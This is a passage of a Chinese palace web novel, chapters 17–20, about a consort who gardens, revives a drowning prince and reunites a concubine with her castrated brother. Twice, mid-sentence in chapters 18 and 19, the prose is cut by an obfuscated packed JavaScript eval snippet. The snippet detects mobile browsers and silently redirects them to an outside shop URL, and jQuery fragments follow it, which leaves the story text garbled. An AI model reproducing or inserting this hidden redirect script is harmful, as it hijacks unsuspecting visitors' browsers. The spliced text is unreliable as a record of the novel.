姜念虞挠了挠脸,有些不好意思道:“我在供台上偷吃了一颗福橘,将吐出来的籽用帕子包了,想着回来种下,洗衣房的人应该不至于昧下这个吧?” 春樱哭笑不得,她还以为娘娘包了什么贵重的东西在里头呢,原来只是几颗橘子籽。 “洗衣房的人估计没当一回事,给洗没了。” 姜念虞沮丧起来,“好吧。” 她的福橘自由没啦。 春樱正想着如何安慰娘娘呢,却见她的脸色转瞬又变得开朗明媚起来。 “虽然没了橘子籽,但是我可以种其它的东西嘛。” 桃、李、杏、梨、葡萄、樱桃、西瓜…… 等等,这个时代是不是还没有西瓜? “石永竹,你去弄些花盆来,要装满土的。”姜念虞走出门来,站在台阶上,豪气干云地一摆手。 石永竹:“娘娘是要养花吗?” 姜念虞:“不,我要种菜,当然,水果啥的也不能少,你再帮我弄些瓜果蔬菜的种子或秧苗来。” 石永竹欲言又止,但到底没说什么,利索地去办差了。 姜念虞往软塌上一躺,翘着脚啃起了鸡爪,等着石永竹回来,她好大显身上,开启她的种菜事业。 结果石永竹没回来,太后宫里倒是先来了人。 “德妃娘娘,太后有请。” 姜念虞想起了太后先前送她的那串佛珠,既然人家都送她礼物了,现在又派人来请她,她总不好拒绝吧? 而且石永竹先前不是说太后那里也分到了福橘吗?她去了之后说不定能蹭到呢。 17. 第17章 《穿成炮灰,干掉主角当女皇》全本免费阅读 “黄瓜放到墙边去,茄子放到花坛边,这盆韭菜就放在这里好了……” 姜夫人虞婉儿随石永竹来到未央宫,踏进宫门,就见偌大的院子里一片忙碌的景象,小女儿岁岁指挥着宫人将一个个或大或小的花盆放到指定的位置上去。 “石公公,德妃娘娘这是在?” 石永竹:“回夫人,娘娘说,自己种的菜吃着更香,小的昨日便从苑林署领了些花盆、土壤还有种苗回来,在娘娘的指挥下把各样瓜果菜蔬给种上了。” 种菜?对小女儿的这个爱好,虞婉儿失笑摇头,“这孩子,也学他爹当起菜农来了。” 自家夫君身为丞相,一人之下万人之上,爱好的却不是下棋品茶那等雅事,而是种菜,还专门在书房后面的院子里开辟出了一块菜地,施肥浇水等事都是亲力亲为,不假他人之手。 小时候岁岁还跟在她爹屁股后头给他打下手,实际上就是捉虫玩泥巴,常常弄得一身泥,一点也没有官家千金的样子。 她还为此烦恼过,埋怨过夫君,说他带坏了岁岁。 后来岁岁年岁渐长,也懂事了,就不再往菜地里跑了。 没想到进宫后经历了种种事端,岁岁又将小时候的爱好捡起来了。 “岁岁。”虞婉儿走过去。 姜念虞正偷摸给花盆里的福橘种子输送异能呢,听见有人叫自己,忙缩回了手。 “娘!”看见姜夫人,姜念虞竟没来由地鼻子一酸,或许也不是没来由,毕竟她已经完全接收了原主的记忆,从心底里把姜夫人当成了娘亲。 虞婉儿走过来,拿出帕子给她擦了擦额头上的汗,又给她擦了擦手。 “吃过早饭没?娘给你带了好吃的,你爹知道我要进宫,天不亮就起来忙活了,做了你爱吃的羊羹、烧鸡、烤鸭,还有一道素鹅。” 母女俩挽着手往屋里走,姜念虞听到那一道道好吃的,眼睛都放光了,“娘,我吃了,但是还能再吃。” 虞婉儿捏了捏她的脸颊,“我还怕你瘦了,没想到你倒是比在家里时还圆润了几分,不过你这个年纪,本就是长身体的时候,多吃些也没什么,只是要适量,可别把胃给撑坏了。” 姜念虞靠在她肩头蹭了蹭,撒着娇:“知道啦娘,快把好吃的拿出来,我已经迫不及待想尝尝爹爹的手艺了,感觉好久都没吃到了。” 虞婉儿听了这话心里一酸,两个女儿先后进了宫,大女儿去了,以后是再也尝不到她爹的手艺了,小女儿在宫里,也是难得能尝到一回。 她忙让侍女将拎着的食盒打开,一道道美味端上了桌。 姜念虞深吸了一口那诱人的香味,让夏桃赶紧拿碗筷来。 筷子到手,她立马就朝着烤鸭下手。 却被娘亲拦住了。 虞婉儿:“先喝碗兰花鸭肝羹,你爹说人体脏腑春日以肝应时,现在这个时节,正适合舒肝养气,肝气调和了,身体便能健旺。” 姜念虞不懂得这些进补的道道,但是只要是吃的她都来者不拒,更何况还是爹爹亲手为她熬的养肝补汤呢。 “那我等会儿再吃烤鸭。” 接过娘亲递来的汤盅,舀了满满一勺就往嘴里送。 虞婉儿提醒她:“小心烫。” 汤确实有些烫,但是很鲜很好喝,细细品味还带着一丝丝甜。 姜念虞一勺接一勺喝得停不下来。 虞婉儿笑看着女儿喝汤,一面给她将烤鸭撕开了,方便她待会儿吃。 一面说起来:“前两日金莲寺的空明小师父登门,说是受无相大师嘱托,送来一张素鹅的食谱,无相大师与咱们府上素无往来,怎么会令人送一张食谱来呢?” 姜念虞:“娘,这是我跟无相大师的约定,之前太后娘娘请无相大师进宫来给我和皇上驱邪,我听说无相大师擅长做素鹅,就向他讨要方子,无相大师答应了。 “这道素鹅就是爹爹根据无相大师给的方子做出来的吗?” 她盯着桌上的那只鹅,看起来像是一只真正的烧鹅,表面呈现一种卤制过的酱色,很肥美。 虞婉儿:“是啊,你爹说做这一道素鹅,比做真正的鹅肉还要费工夫,试做了好几次才做出一只品相这么好的,先前失败的那些,他舍不得扔,这几天桌上天天都是这道菜,你娘我吃得都要吐了。” 姜念虞夹了一块鹅肉吃了,一脸惊异:“吃起来跟真的鹅肉一样。” 虞婉儿:“可惜无相大师送来方子的第二天就圆寂了,年初我还在金莲寺听过大师讲经,那会儿瞧着他面若莲花,精神矍铄,丝毫不像五十开外的人,这才过去多久,怎么就去了呢。” 她语气颇为伤感,这个春天实在是令人伤怀,先是大女儿去了,接着又是小女儿,好在她又活了过来,现在无相大师又没了,唉。 一根鸡腿送到面前,虞婉儿一抬头,就望进了女儿那双清澈纯净的眸子里,宛如稚子一般。 “娘,这个鸡腿好吃,你尝尝。” 虞婉儿不禁笑开了,“好,娘也来尝尝你爹的手艺。” 姜念虞没舍得将这几道菜全部吃完,留了一半,嘱咐春樱中午热了给她吃。 娘儿俩坐到窗边的榻上,边喝茶边说话。 虞婉儿说起:“昨日在集英殿上,裴九郎被皇上钦点为状元郎,成了大齐开国以来第一位连中三元的状元。” 姜念虞再无知,也知道连中三元的状元很厉害,当即称赞道:“裴九郎真厉害。” 虞婉儿瞧了瞧她的神色,见她说起裴九郎竟无一丝感怀,放心的同时又有些遗憾。 “岁岁,你就一点也不后悔吗?” 姜念虞有些没听懂,娘亲这话是什么意思?她后悔什么? 未免露馅,她赶紧搜寻了下记忆,这才恍然大悟。 原来原主订婚三年的那位未婚夫,就是裴九郎裴少清! 如果她不进宫的话,那如今就是状元郎夫人了。 难怪娘亲问她有没有后悔。 原主后不后悔她已无从得知,但起码她是不后悔的,她现在每天过得不知道多开心,高床软枕、奴仆成群、华衣美服、珍馐玉馔…… 她幻想中的衣来伸手、饭来张口的米虫生活,已经超额实现了! 她要是还后 18. 第18章 保和殿。 丽嫔忐忑不安地踏进殿内,这大白天的皇帝把她召过来,不知道想干什么? “皇上。”丽嫔娇声软语地行了礼。 李淳搁下手里的朱笔,“丽嫔来了,坐。” 丽嫔在下首的椅子上坐了。 李淳:“你可还记得林鹤?” 林鹤?那不是先前和德妃“私通”的那个侍卫吗?后来还在这殿上指认了淑妃,拿出证物说是淑妃指使他的。 皇帝将人交给德妃处置,德妃让他受了宫刑。 她当时还觉得怪可惜的,这么俊的男子,成了个太监。 皇帝怎么突然提起他了? 丽嫔露出一脸茫然的神色,她一个宫妃,不可能对皇帝以外的男人印象深刻。 “林鹤?皇上恕罪,臣妾记性不大好,实在想不起来了。” 李淳:“丽嫔,之前朕承诺会帮你找到家人,如今已经找到了,原来你的家人竟是远在天边,近在眼前,那林鹤,就是你的同胞兄长。” 丽嫔身子晃了晃,感觉老天爷在玩儿她,不对,是皇帝在玩儿她! “皇上您说什么?林鹤是我的兄长?” 李淳:“不错。” 丽嫔狠狠掐着手心,这才让自己没有晕过去。 皇帝会是骗她的吗?应该不会,毕竟林鹤就在宫里,她只要找到他交谈一番,就能确认了,皇帝没必要骗她。 可如果是真的,那岂不是说,她的兄长成了太监?这让她如何面对他? 她心里乱糟糟的,一时理不清个头绪,“皇上,臣妾想去见一见林鹤。” 李淳一派大度道:“这是应当的,你兄长如今在轮回司当差,去吧。” 丽嫔离开后,侍立在李淳身旁的墨春问:“皇上,您为何不直接将林鹤召见过来,让丽嫔当面和他相认呢?” 李淳:“丽嫔要是不跑一趟轮回司,如何能知道她的兄长这会儿正遭受着什么?也唯有亲眼见到林鹤过得有多苦,她才会恨上造成这一切的德妃,才能为我所用。” 墨春恍然点头,神色间有些不忍。 李淳瞧见了,朝他招了招手,待他来到面前,伸手抚了抚他的发顶,“墨春,你是不是觉得我这样做不够光明磊落,失了为君的气度?” 墨春忙解释道:“没有,皇上不管做什么都是对的,奴婢只是觉得,丽嫔娘娘有些可怜。” 李淳哂笑一声,“春儿,你就是心肠太软,这世间比丽嫔可怜的人多了去了,她还远远排不上号。” 前世的他,难道不可怜吗?可除了墨春,又有谁来怜悯他? 想让自己不落到可怜的悲惨境地,那就只有——最大限度地利用别人,达到自己的目的,如此,方能不浪费老天赐给他的这场重生。 轮回司,是专门给宫里众人洗衣服、刷马桶的部门。 后头有一条专门引入的水渠,名为轮回渠,也就一丈来宽,用点力就能跳过去,但水流很急,能够将各种污秽带走,汇入宫外的江河之中。 上游用来洗衣,下游则用来刷马桶,因此水渠边整日里捣衣声、洗刷声不绝。 刚进入轮回司的那两天,林鹤的日子还不算太难过,后面那些同事打听到他的底细后,对他的态度就变得恶劣起来。 “白瞎了一副好皮囊,到头来还不是跟我们一样去了势,蹲在这里刷马桶。” “林鹤,这些马桶你帮我刷了。” “哟,林鹤回来了?今晚炕上没你的位置,你去外头打地铺吧。” …… 如此种种,林鹤都一一忍了下来。 纵然他武功高强,但这宫里不是凭实力说话的地方,而且他身上的伤没有好全,动作稍微大一点就会牵扯到伤口。 为了不让伤口裂开,他只能尽量不和这些人起冲突。 但他的忍让落在这些人眼里就成了软弱,他们对他的欺凌愈发变本加厉了。 “砰!”林鹤正蹲在水渠边,刷着马桶,搁在旁边的一盆草木灰忽然被人一脚踢翻。 草木灰是用来清除污渍、祛除异味的,每人每天能领到的分量都有限,若是不省着点儿用,被分派给他的马桶就清理不完了。 林鹤第一时间不是看向踢翻草木灰的人,而是伸手将木盆捡回来,再将散落在地上的草木灰捧起来放进盆里。 “哟,他居然正眼都不瞧老子一下?你小子很狂啊!” 踢翻木盆的胖太监跟两个跟班调笑了一句,转头脸色骤然狠厉下来,一脚踩在林鹤捧拾草木灰的手上,狠狠碾了碾。 林鹤面不改色,一言不发,这点疼痛于他而言算不得什么。 曾经他为了打熬筋骨,尽快提升实力,站在飞流而下的瀑布之下,忍受着水流冲击的万钧之力,日复一日地挥剑,不论严寒酷暑。 十年如一日,终于将家传的《碧影剑法》练至小成,得以下山,寻找妹妹。 下山前,祖父对他说:“飞羽,红尘如炉鼎,种种苦厄皆为烈火干柴,你这一去,少不得会经历诸般苦痛磨难,那些苦难,你扛过去了,武道之心便能得到淬炼,从此以后天高海阔,天地逍遥,再没有什么能够困住你的了。 “若是抗不过去,那你就会被炼成飞灰,化为这天地间的一抔土。你且,好自为之。” 如今,妹妹已经找到了,他被悔恨歉疚煎熬着的那颗心,也终于得到了一丝安宁。 其余种种,便再也伤不到他。 然而他的这种表现,却是让那个欺负他的胖太监很不满,一点也没有欺凌他人的成就感。 盯着林鹤那张面无表情却俊美无俦的脸看了半晌,胖太监忽然想到了一个绝佳的主意。 “来啊,把他抓住。” 他身后的两个跟班立刻撸起袖子,一左一右上前将林鹤抓住。 胖太监在一堆马桶面前来回巡视了一番,选中了其中一个金镶玉的马桶。 “知道这是谁的马桶吗?德妃娘娘,你小子敢冒犯德妃娘娘,今日老子就替娘娘给你一个教训!把他脑袋摁进去!让他好好尝尝德妃娘娘的夜香!” 丽嫔就是在这个时候到的,见状大喝一声:“住手!” 看到她出现的那一刻,林鹤冷峻的面容,骤然融化了几分。 还不知道自己风评被害的姜念虞,这会儿正躺在炕上,像个瘫痪多年不良于行的病人。 左边春樱在给她敲核桃,将一颗颗完整的核桃挑出来,摆在碟子里。 右边夏桃在给她捣甘蔗汁,甘蔗的气味异常的清甜,沁人心脾,姜念虞闻得十分上头。 捣出来的汁液倒入粉彩荷花杯中,那荷花杯像一片横着的荷花瓣,杯柄是一根中空的吸管,精致又实用。 她都不用伸手,脑袋一歪,嘴巴含住吸管,美味甘醇的甘蔗汁就流入了喉咙。 炕下面还坐着个声音婉转悦耳如百灵鸟的宫女,捧着一本话本子读 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12913443|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给她听。 姜念虞晃着二郎腿,觉得这日子真是幸福极了,给个神仙也不换。 春樱看了看外头的天色,“娘娘,已经到了下学的时辰,往常这个时候殿下已经回来了,今儿怎么晚了呢?” 姜念虞:“可能是夫子拖堂了吧。昨天晟儿还跟我说,陈夫子总喜欢拖上片刻,今天下午估计又轮到他上课了。” 话音才落,一个小太监上气不接下气地跑进来,“娘娘不好了!殿下落水了!” 姜念虞惊坐而起:“怎么回事?小喜子,晟儿怎么会落水?救上来没有?他现在怎么样了?” 小喜子很懂得回话的技巧,率先说出了重点:“已经救上来了,小禄子他们把殿下送去了太医院,只是殿下一直昏迷不醒,太医们也束手无策……” 说到这里,他声音哽咽起来。 姜念虞立刻起身往太医院去,路上小喜子将晟儿落水的缘由讲了出来。 “下学后,殿下从文华阁出来,经过三人桥时,二皇子从后面追了上来,冲殿下喊‘德妃是个坏女人,迟早要下地狱’,殿下听见这话很生气,就跟二皇子理论起来。 “结果说着说着两人就动手了,小的们忙要上前拉架,二皇子却命他的人把小的们拦住了,他骑在殿下身上打了殿下好几下,最后还把殿下给推到水里去了。 “二皇子带着他的人跑了,小的们赶紧下水将殿下救上来,小禄子抱着殿下去了太医院,奴婢则回来禀报娘娘。” 姜念虞绷着脸,步子迈得又大又急,脑子里迅速调出二皇子的信息——李昌,淑妃所出,今年六岁。 他最好祈祷晟儿没事,不然,她可不会因为他是个小孩子就放过他。 到了太医院,姜念虞风一般闯进去。 屋子里,病床边围了好几个太医,在争执着用什么方子救人。 晟儿面色惨白地躺在床上,小小的一个,身上的湿衣服都没换下来。 这群太医也不知道是干什么吃的! “都让开!”姜念虞上前,挤开这些太医,凑近晟儿,发现他的呼吸已经停止了! 她赶紧将剩下的异能都给晟儿输了进去,接着给他做急救。 “德妃娘娘这是在做什么?可万万不能胡来。”一个太医试图阻止。 姜念虞:“小喜子小禄子,把他们都赶出去,再把门窗都打开,你俩守在门口,不许任何人进来。” 她一面吩咐,一面给晟儿做心肺复苏。 前世她在急救课上学过,后来末日降临,她空闲下来时除了看《龙凤呈祥》,就是回忆以前课堂上学过的东西了。 末日前,她巴不得学校倒闭,那样自己就不用上学了,但是等到末日真的降临了,她反倒无比怀念读书的时候。 曾经在和平时代学到的那些东西,成了她与过去有限的联结,所以她时刻提醒自己不能忘,不然她与那些丧失了理智的怪物又有什么区别? 现在倒是派上了用场。 “咳咳!”在她不知道按压了多久之后,晟儿终于恢复了心跳和呼吸,猛地咳嗽了一声,吐出了一些水。 太好了,总算将这个小家伙救活了。 要是他死了,那自己也没法再继续顶着“姜念虞”的身份和躯壳大吃大喝地享受了。 姜念虞长出一口气,瘫软在一旁,整个人都虚脱了。 等缓过气来,她抱起床上的小人儿,“晟儿,姨母带你回去。” 19. 第19章 “、朕听说晟儿落水了,怎么样?晟儿现在可好些了?”李淳赶过来,一副关心的姿态。 姜念虞正在给晟儿喂药,闻言头都没抬,不带搭理的。 晟儿要给父皇行礼,被她给按住了。 “你现在是病人,折腾那些个虚礼做什么,你父皇肯定不会怪罪你的,对吧皇上?”姜念虞看向李淳,眼神像火一样朝他燎去。 李淳露出一抹虚伪的笑容:“正是,晟儿你好生躺着,不必跟父皇客气。” 话说完,没人接茬,屋内一片安静。 李淳心下恼怒,再开口时声音也沉了下来,“德妃,这次晟儿落水,也是意外,小孩子家打打闹闹的很正常,所幸现在晟儿也没事了,昌儿也知道错了,你就不要再追究了。当然,晟儿落水着实吃了苦头,朕会好生补偿他的。” 他话刚说完,太后来了,严厉驳斥了他:“皇上这是说的什么话!昌儿推晟儿落水,不管是有意还是无意,都该严惩!若是这次轻易放过了,那以后昌儿闯出更大的祸事来怎么办?到时皇上继续包庇他吗?” 将手里牵着的李昌往前一推,“昌儿,去给你晟儿弟弟赔礼道歉。” 李淳还试图和稀泥:“母后,朕相信昌儿不是有意的,您何必这般苛责他呢?来,昌儿,到父皇这里来。” 床榻上,李晟见父皇对推自己下水的李昌那么慈爱,眼泪吧嗒一下掉了下来。 姜念虞心疼极了,杀了李淳的心都有了。 这个狗东西,他就是故意的! 他未必有多么疼爱李昌,之所以那么纵容他,一是想捧杀他,二则是想激化李昌背后的杨家,与李晟背后的姜家的矛盾罢了! 小说里,重生后的李淳,痛恨姜家,痛恨杨家,痛恨所有没有帮他保住帝位的家族和臣子。 又因为改变了性向,所以他对后宫的女人和孩子,那是全然不放在心上,只把她们当工具。 利用起李晟(姜家的外孙)、李昌(杨家的外孙)这些儿子来,丝毫不手软,很多时候都不惜拿他们来做局。 这一次,表面上看是李昌推晟儿落水,但焉知背后不是李淳在搞鬼? 李昌冲着晟儿骂她这个姨母,说她不是个好女人,迟早要下地狱,这种话是一个六岁孩子能想出来的吗? 好在太后比较明事理,估计也是看出了李淳的险恶用心,所以抓住李昌的手,没让他往李淳那边去。 “皇上此言差矣,昌儿推晟儿下水是有目共睹,你就别再给他找补了。昌儿,去。” 察觉皇祖母的声音明显变得严厉了许多,李昌也不敢再反抗了,慢慢走到床榻前,对李晟鞠了一躬,一板一眼道:“三弟,对不起,我不该推你下水,我知道错了,请你原谅我吧。” 李晟是个心软的孩子,原先还对李昌气得不行,这会儿李昌一道歉,他就打算原谅他了。 姜念虞捏了捏他的小手,阻止他开口,问:“还有呢?” 李昌朝皇祖母投去求救的眼神。 太后还没说话,李淳就插话道:“德妃,够了,昌儿不过是个六岁的孩子,他已经向晟儿道歉了,你还想怎样?” 这话一出,姜念虞和太后都恨不得把他打出去。 太后直接开口赶人了:“听说皇上最近变得勤勉了许多,政务都亲力亲为了,不再丢给大臣处理了,既如此,皇上还是赶紧回御书房去吧,想必那里有很多折子等着皇上批复呢。” 李淳眸色阴鸷了一瞬,旋即又笑了笑:“母后说的是,那朕就不多留了。” 临走前又叮嘱一声:“晟儿,你好生养病,改日父皇再来看你。” 讨人嫌的东西终于走了,姜念虞和太后对视一眼,俱都有种松了口气的感觉。 “虞丫头,这事儿我已经查清楚了,昌儿骂你的话,是身边一个小太监教唆的,那小太监嘴严得很,只说是看不惯你,想为淑妃打抱不平,我把人带来了,随你处置。” 姜念虞:“多谢太后娘娘。” 稍后,李淳和太后都派人送了不少东西来,前者是安抚,后者是赔礼。 姜念虞看了看,太后送来的赔礼,可比李淳送来的东西要丰厚多了。 李淳不仅狗,还很抠。 待晟儿睡着后,姜念虞带着太后送来的那个小太监去了冷宫,将人交给了李玄璋。 “晟儿落水的事,你应该知道了吧?” 李玄璋:“嗯,姐姐将此人交给我,是想让我撬开他的嘴,问出幕后主使?” 姜念虞:“蓁蓁真聪明,一下子就猜到了我的意图。” 李玄璋给怀里的娃娃编着辫子,看上去一派纯真美好,“我为什么要帮姐姐呢?” 姜念虞:“因为我们是好朋友呀,好朋友之间互相帮助不是应该的嘛?” 李玄璋编辫子的动作顿了顿,“姐姐说得不错,好朋友之间应该互相帮助,那姐姐能否也帮我一个忙呢?” 姜念虞:“没问题呀,你说,只要我帮得上的,肯定帮。” 李玄璋看向石桌边那棵被雷劈过的浑身焦黑的树,“姐姐能让它起死回生,枯木逢春吗?” 姜念虞朝他伸出一只手。 李玄璋不明所以,没有动弹。 姜念虞直接把他的一只手拉了过来,走到枯树前,将两人合握的手贴在树干上。 而后闭上眼睛,嘴里念念有词。 “好啦,我已经给这棵树做了法,再过不久它就能重新发芽、欣欣向荣了。” 姜念虞睁开眼睛,笑着看向身旁的人。 李玄璋没有看她,只是盯着眼前的树,不知是否是他的错觉,这棵树,好像真的比先前多了一丝生机。 姜念虞问:“这是什么树啊?” 李玄璋:“桃花树。” 姜念虞:“桃花树啊,那到时候等它结出桃子来,你可不能独吞啊,得分我一些。” 李玄璋:“……嗯。” 从冷宫出来,姜念虞转道去了轮回司。 这一次晟儿落水,让她意识到,他身边光只有宫女太监是不够的,还得有个武功高强的贴身保镖才行。 保镖人选,她立刻就想到了遭受宫刑被分派到轮回司的林鹤,他不止武功高强,还能让她的异能增长,还有比他更合适的人选吗? 轮回司的司主吴公公听闻德妃娘娘大驾光临,惊得从椅子上跳了起来。 “德妃娘娘来了?你没看错吧?今儿这是吹的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942040|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么风,先是丽嫔娘娘,现在又来了德妃娘娘……” 轮回司是宫中二十四司里最不受待见的地儿,人人都嫌这里腌臜,别说德妃娘娘这样的贵人了,就是主子娘娘身边稍微得脸些的宫女都不会往这里来,今日这些贵人,怎么一个两个都往这里跑呢? 传话的小太监:“大人,小的瞧得真真儿的,就是德妃娘娘的轿辇,您赶紧迎出去吧,晚了德妃娘娘怪罪下来,咱们都得吃不了兜着走。” 吴公公赶紧理了理衣襟帽冠,将信将疑地迎了出去。 正巧看见德妃娘娘从轿辇上下来。 忙上前见礼:“奴婢吴茂才拜见娘娘,娘娘万福金安。” “起来吧。” 进了轮回司,姜念虞发现里面的环境居然很不错,种了不少花卉绿植,高大的香樟树分布在道路两旁,枝繁叶茂,走廊的柱子上攀援着常春藤,叶片绿意沁人,花坛里的薄荷更是长得蓬勃旺盛,都从花坛里蔓延出来了。 空气里洋溢着各种绿植散发出的清新气息,并没有她想象中的臭味弥漫。 “你这里的花木长得真好,吴公公是有什么养花的秘诀吗?” 吴茂才讪讪一笑,“娘娘,奴婢哪有什么秘诀呀,不过是用刷马桶的废水给它们浇灌,它们就长成这般了。” 姜念虞心里一动,感觉自己受到了启发。 以后她是要经常用异能来催生瓜果蔬菜的,但若是它们长得太快,肯定会引人怀疑,但如果她也用粪肥来浇灌它们呢? 轮回司的植物用粪肥浇灌后长得这样好,这就是活生生的例子啊,到时候别人要是见她宫里的瓜果长得好,产生怀疑问起来,她也能推到粪肥上去。 当然,前提是她真的用了粪肥。 她决定回去就用起来。 以后未央宫的马桶就不送到轮回司来刷了,就在内部清理掉。 吴茂才并不知道,自己一句话就让轮回司的工作量凭空减了不少,十分殷勤地引着德妃去了厅堂,将自己平时珍藏的茶叶泡了端上来,又拿出了各种果子点心,热热闹闹地摆了一桌。 虽说轮回司不受人待见,但他好歹也是一司的总管,还是有不少人脉的。 前不久他打听到,德妃娘娘遭了难之后,就变得嗜吃起来,他可不得投其所好吗? 虽不知德妃娘娘为何要贵脚踏贱地,来了轮回司,但既然来了,他就得抓住机会,在她面前好生表现一下,最好能在她心里留下印象,以后他也好去未央宫走动不是? 走动得多了,机会也就来了。 姜念虞看吴茂才奉上来这么多吃的,顿时对他印象大好,美滋滋地吃了起来。 吴茂才看她吃得高兴,也是心花怒放,愈发殷勤了,在旁边绘声绘色地介绍起来:“娘娘,这一道糕点叫状元糕,其中有个典故……” 吃着美食,听着妙语,姜念虞乐不思蜀,把自己这一趟过来的目的都要忘了。 还是夏桃在一旁扯了扯她的袖子,提醒她:“娘娘,咱们过来不是有事儿要办吗?”您怎么光顾着吃了? 说着拿出帕子来,要给她擦手。 姜念虞只好停了手,“吴茂才,我这次过来,是想跟你要个人。”- 20. 第20章 吴茂才一阵羡慕嫉妒酸,他们轮回司里居然有人能被德妃娘娘看上?谁这么有能耐? 如果真有能耐,也不至于被分派到轮回司来吧。 这个人,该不会就是他自己吧? 想到这个可能,吴茂才不由得飘飘欲仙了,按捺着激动问:“不知娘娘看上了谁?” 姜念虞:“林鹤。” 都做好谢恩准备的吴茂才,听到这个陌生的名字,顿时失望不已。 不过再失望,他也不能在贵人面前失了体统,“奴婢这便去将人——” 话说到一半,他忽然想起来,今儿早上丽嫔娘娘过来带走了一个人,那人似乎就叫林鹤? 这个林鹤,真不简单哪!居然引得丽嫔和德妃都来要他! 他怎么就没这么好的运道呢。 不过想到林鹤那张脸,他又释然了,唉,这个世道,终究还是看脸啊! 长得好,就算是刷马桶,也能被贵人看上! “娘娘,您来得不巧,早上丽嫔娘娘来了一趟,与那林鹤单独待了一阵,走的时候将林鹤也一块儿带走了。” 丽嫔?难道她知道自己的身世了,来跟林鹤相认? 却说丽嫔喝止了那几个欺负林鹤的太监后,对跟上来的吴茂才道:“吴公公就是这样管教手下的?任由他们肆意妄为,欺压他人?” 吴茂才听出了她话中的不满,忙不迭告罪,下令将那几个人拖下去重打三十大板。 丽嫔:“我想跟林鹤说几句话,吴公公自去忙吧。” 吴茂才:“娘娘,这里腌臜得很,奴婢带您去前头花厅吧?” 丽嫔点了点头,“也好,带路吧。” 到了花厅,丽嫔让其余人等都退下,又命身边的宫女守在门口,想跟林鹤单独谈一谈。 然而真的面对面了,她一时却不知该如何开口。 林鹤默默从衣领下掏出了那枚鱼形玉佩,丽嫔一见这枚玉佩就激动起来,“我也有一块一模一样的玉佩。” 当即也从衣领下拿了出来。 先前皇帝将玉佩从她这里拿走了,后来又还给了她。 两人将玉佩合在一起,原本独立的两条玉鱼,竟严丝合缝地嵌合在了一起,成了一条新的更加饱满立体的玉鱼。 林鹤唤了声:“小鸟。” 丽嫔心头一震,这个名字一出,她脑海里被尘封的记忆骤然开匣,纷至沓来地浮现在了眼前。 “哥哥,咱们名字里都有个‘鸟’字,以后咱们长大了是不是能像鸟儿一样飞起来呀?” “哥哥,我昨晚上做梦,梦见自己变成了一只小鸟,飞呀飞呀,飞得好高……” “娘亲,我也想涂胭脂,给我涂嘛。” “好,给咱们小鸟抹上胭脂,咱们小鸟长得真俊,像山里的翠鸟一样。” “小鸟怎么不理爹爹呀?是不是爹爹哪里惹你生气了?咱们不生气了好不好?你想要什么跟爹爹说,爹爹立马给你弄来。” “哼!爹爹说话不算数,说好的要给我带糖人的,糖人呢?” “呀,爹爹居然忘了,真该打!爹爹补偿你十根糖人,好不好?走,爹爹这就带你下山去买。” “真的吗?哦哦下山咯,买糖人去咯!” …… 随着记忆的浮现,丽嫔脑袋一阵剧痛,像是有一根针在不断往里戳。 林鹤扶着她坐下,“小鸟,怎么了?” 丽嫔:“哥哥,我想起来了,原来我叫林袅,你叫林鹤,娘亲……爹爹……” 她都想起来了! 当年她和哥哥一起偷偷下山逛灯会,灯会上有人趁乱掳走了她,还给她吃下了一颗药丸,等她醒来后,就什么都不记得了。 她不知道自己是谁,来自何方,也不知该何去何从。 将她掳走的人并不在她身边,而是将她丢在了路边,仿佛要让她自生自灭。 她走啊走,饿了就讨饭,渴了就喝河水,困了就在树下或者破庙里睡上一觉……不出几天,她俨然成了个小乞丐。 就这样摸爬滚打地过了几年,她的讨饭技巧更高超了,但依然时常饿肚子,有时候饿得骨头都疼。 后来她遇到了一个老婆婆,老婆婆说她根骨清奇,要收她为徒。 得知拜师后就能有饭吃,有床睡,再也不用挨饿受冻,她很高兴地拜了婆婆为师。 从此跟着婆婆走南闯北,浪荡江湖,还闯下了不小的名声。 人称‘小飞蝶’,说她像蝴蝶一样轻盈美丽,变幻多姿。 某一日她做了个梦,梦见自己在梦里喊爹、娘、哥哥,爹娘在练剑,哥哥和她在一旁捣乱。 梦里的她笑得很开心。 然而她怎么也看不清爹娘哥哥的脸。 梦醒后,她看着脖子上戴着的那枚鱼形玉佩,决定寻找家人,找到自己的根。 婆婆:“去吧,正好我要去一趟关外,会会故人,不方便带着你,你自去找你的家人,凡事多留个心眼儿,别傻乎乎地被人骗了。” 就这样,她和婆婆分道扬镳,各自踏上了自己的旅途。 她找了好几年却始终没什么进展,因为她掌握的信息太少了,只知道自己有爹有娘还有一个哥哥。 但是天底下这样的家庭太多了,她根本分辨不过来。 后来她偶然看到城墙上张贴的选秀告示,灵机一动,不如她去选个秀? 以她的样貌,应该不难中选吧?中选后,见到了皇帝,她就有法子让他迷恋自己,毕竟她这些年的江湖不是白闯的。 到时候她成了皇帝的宠妃,不就能让皇帝帮自己找家人了吗? 于是她便来到了京城,参加了选秀,顺利中选,成为宫妃,一路晋升为了丽嫔。 林袅看着面前的兄长,笑中带泪:“哥,原来你长大了是这样,跟爹爹长得很像,难怪我先前觉得你眼熟。不过你又是怎么把我认出来的?” 如果哥哥没有认出她来,不会她还没有开口,就将双鱼佩拿了出来。 “难道我和娘亲长得很像?” 林鹤:“你和外祖母年轻时很像,我在娘的书房里见过外祖母年轻时的画像。而且——” 林袅:“而且什么?” 